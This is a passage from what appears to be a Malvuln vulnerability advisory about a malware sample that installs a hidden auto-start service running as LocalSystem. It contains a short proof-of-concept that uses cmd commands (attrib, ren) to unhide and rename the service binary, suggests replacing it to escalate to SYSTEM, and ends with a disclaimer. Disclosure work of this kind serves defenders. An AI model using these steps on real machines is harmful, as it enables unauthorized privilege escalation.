WIN32_OWN_PROCESS (interactive)        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 0   IGNORE        BINARY_PATH_NAME   : C:\pewcvmnvyr\jwgaklb.exe        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : Group Key KtmRm Coordinator Registry TPM Bus        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystemExploit/PoC:Open a cmd prompt as standard user:1) unhide the service binary   C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe2) rename the service binaryC:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED3) optional replace with your own binary and escalate to SYSTEMC:\Users\norgt>dir \pewcvmnvyr\ Directory of C:\pewcvmnvyr        ..01/14/2024  02:05 AM                 0 dqrpgvnkh01/14/2024  02:05 AM                 6 egjrdhynfm01/14/2024  02:09 AM                 4 nhefhloix01/14/2024  02:05 AM           332,800 PWNED   <================= DONE01/14/2024  02:05 AM           332,800 rvoyf9njtqg4zejno.exeDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Tag

#auth